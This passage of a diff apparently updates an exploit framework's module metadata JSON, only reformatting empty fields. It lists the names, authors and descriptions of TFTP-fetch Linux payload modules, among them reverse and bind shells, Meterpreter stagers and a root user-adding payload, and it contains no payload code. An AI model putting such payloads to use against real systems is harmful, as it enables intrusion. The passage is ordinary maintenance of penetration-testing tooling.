"aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209942,9 +186374,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSLE payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209958,8 +186388,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209972,9 +186401,7 @@ "payload_cmd/linux/tftp/mipsle/shell_bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/tftp/mipsle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209987,9 +186414,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSLE payload from a TFTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210003,8 +186428,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210015,9 +186439,7 @@ "payload_cmd/linux/tftp/mipsle/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/mipsle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210028,9 +186450,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSLE payload from a TFTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210044,8 +186464,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210056,9 +186475,7 @@ "payload_cmd/linux/tftp/ppc/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/ppc/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210070,9 +186487,7 @@ "timwr" ], "description": "Fetch and execute an PPC payload from an TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210086,8 +186501,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210098,9 +186512,7 @@ "payload_cmd/linux/tftp/ppc/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/ppc/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210112,9 +186524,7 @@ "timwr" ], "description": "Fetch and execute an PPC payload from an TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210128,8 +186538,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210140,9 +186549,7 @@ "payload_cmd/linux/tftp/ppc/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/ppc/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210154,9 +186561,7 @@ "timwr" ], "description": "Fetch and execute an PPC payload from an TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210170,8 +186575,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210182,9 +186586,7 @@ "payload_cmd/linux/tftp/ppc64/shell_bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/tftp/ppc64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210194,9 +186596,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from a TFTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210210,8 +186610,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210222,9 +186621,7 @@ "payload_cmd/linux/tftp/ppc64/shell_find_port": { "name": "TFTP Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/tftp/ppc64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210234,9 +186631,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from a TFTP server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210250,8 +186645,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210262,9 +186656,7 @@ "payload_cmd/linux/tftp/ppc64/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/ppc64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210274,9 +186666,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210290,8 +186680,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210302,9 +186691,7 @@ "payload_cmd/linux/tftp/ppc64le/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/ppc64le/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210316,9 +186703,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210332,8 +186717,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210344,9 +186728,7 @@ "payload_cmd/linux/tftp/ppc64le/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/ppc64le/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210358,9 +186740,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210374,8 +186754,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210386,9 +186765,7 @@ "payload_cmd/linux/tftp/ppc64le/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/ppc64le/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210400,9 +186777,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210416,8 +186791,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210428,9 +186802,7 @@ "payload_cmd/linux/tftp/x64/exec": { "name": "TFTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/tftp/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210440,9 +186812,7 @@ "Geyslan G. Bem " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nExecute an arbitrary command or just a /bin/sh shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210456,8 +186826,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210468,9 +186837,7 @@ "payload_cmd/linux/tftp/x64/meterpreter/bind_tcp": { "name": "TFTP Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/tftp/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210480,9 +186847,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -210496,8 +186861,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210510,9 +186874,7 @@ "payload_cmd/linux/tftp/x64/meterpreter/reverse_sctp": { "name": "TFTP Fetch, Reverse SCTP Stager", "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210522,9 +186884,7 @@ "RageLtMan " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -210538,8 +186898,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210552,9 +186911,7 @@ "payload_cmd/linux/tftp/x64/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210565,9 +186922,7 @@ "tkmru" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -210581,8 +186936,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210595,9 +186949,7 @@ "payload_cmd/linux/tftp/x64/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210608,9 +186960,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210624,8 +186974,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210636,9 +186985,7 @@ "payload_cmd/linux/tftp/x64/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210649,9 +186996,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210665,8 +187010,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210677,9 +187021,7 @@ "payload_cmd/linux/tftp/x64/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210690,9 +187032,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210706,8 +187046,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210718,9 +187057,7 @@ "payload_cmd/linux/tftp/x64/pingback_bind_tcp": { "name": "TFTP Fetch, Linux x64 Pingback, Bind TCP Inline", "fullname": "payload/cmd/linux/tftp/x64/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210729,9 +187066,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nAccept a connection from attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210745,8 +187080,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210757,9 +187091,7 @@ "payload_cmd/linux/tftp/x64/pingback_reverse_tcp": { "name": "TFTP Fetch, Linux x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210768,9 +187100,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210784,8 +187114,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210796,9 +187125,7 @@ "payload_cmd/linux/tftp/x64/shell/bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/tftp/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210807,9 +187134,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210823,8 +187148,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210837,9 +187161,7 @@ "payload_cmd/linux/tftp/x64/shell/reverse_sctp": { "name": "TFTP Fetch, Linux Command Shell, Reverse SCTP Stager", "fullname": "payload/cmd/linux/tftp/x64/shell/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210849,9 +187171,7 @@ "RageLtMan " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210865,8 +187185,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210879,9 +187198,7 @@ "payload_cmd/linux/tftp/x64/shell/reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210891,9 +187208,7 @@ "tkmru" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210907,8 +187222,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210921,9 +187235,7 @@ "payload_cmd/linux/tftp/x64/shell_bind_ipv6_tcp": { "name": "TFTP Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/cmd/linux/tftp/x64/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210932,9 +187244,7 @@ "epi " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for an IPv6 connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210948,8 +187258,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210960,9 +187269,7 @@ "payload_cmd/linux/tftp/x64/shell_bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/tftp/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210971,9 +187278,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210987,8 +187292,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210999,9 +187303,7 @@ "payload_cmd/linux/tftp/x64/shell_bind_tcp_random_port": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/cmd/linux/tftp/x64/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211026,8 +187328,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211038,9 +187339,7 @@ "payload_cmd/linux/tftp/x64/shell_find_port": { "name": "TFTP Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/tftp/x64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211049,9 +187348,7 @@ "mak" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211065,8 +187362,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211077,9 +187373,7 @@ "payload_cmd/linux/tftp/x64/shell_reverse_ipv6_tcp": { "name": "TFTP Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/cmd/linux/tftp/x64/shell_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211088,9 +187382,7 @@ "epi " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211104,8 +187396,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211116,9 +187407,7 @@ "payload_cmd/linux/tftp/x64/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211127,9 +187416,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211143,8 +187430,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211155,9 +187441,7 @@ "payload_cmd/linux/tftp/x86/adduser": { "name": "TFTP Fetch, Linux Add User", "fullname": "payload/cmd/linux/tftp/x86/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211169,9 +187453,7 @@ "spoonm " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nCreate a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211185,8 +187467,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211197,9 +187478,7 @@ "payload_cmd/linux/tftp/x86/chmod": { "name": "TFTP Fetch, Linux Chmod", "fullname": "payload/cmd/linux/tftp/x86/chmod", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211209,9 +187488,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nRuns chmod on specified file with specified mode", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211225,8 +187502,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211237,9 +187513,7 @@ "payload_cmd/linux/tftp/x86/exec": { "name": "TFTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/tftp/x86/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211267,8 +187541,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211279,9 +187552,7 @@ "payload_cmd/linux/tftp/x86/generic/debug_trap": { "name": "TFTP Fetch, Generic x86 Debug Trap", "fullname": "payload/cmd/linux/tftp/x86/generic/debug_trap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211291,9 +187562,7 @@ "robert " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nGenerate a debug trap in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -211307,8 +187576,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211319,9 +187587,7 @@ "payload_cmd/linux/tftp/x86/generic/tight_loop": { "name": "TFTP Fetch, Generic x86 Tight Loop", "fullname": "payload/cmd/linux/tftp/x86/generic/tight_loop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211331,9 +187597,7 @@ "jduck " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nGenerate a tight loop in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -211347,8 +187611,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211359,9 +187622,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp": { "name": "TFTP Fetch, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211373,9 +187634,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211389,8 +187648,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211403,9 +187661,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211418,9 +187674,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211434,8 +187688,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211448,9 +187701,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/bind_nonx_tcp": { "name": "TFTP Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211461,9 +187712,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211477,8 +187726,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211491,9 +187739,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/bind_tcp": { "name": "TFTP Fetch, Bind TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211505,9 +187751,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211521,8 +187765,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211535,9 +187778,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/bind_tcp_uuid": { "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211550,9 +187791,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211566,8 +187805,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211580,9 +187818,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/find_tag": { "name": "TFTP Fetch, Find Tag Stager", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211593,9 +187829,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211609,8 +187843,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211623,9 +187856,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/reverse_ipv6_tcp": { "name": "TFTP Fetch, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211636,9 +187867,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211652,8 +187881,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211666,9 +187894,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/reverse_nonx_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211679,9 +187905,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211695,8 +187919,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211709,9 +187932,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211724,9 +187945,7 @@ "tkmru" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211740,8 +187959,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211754,9 +187972,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/reverse_tcp_uuid": { "name": 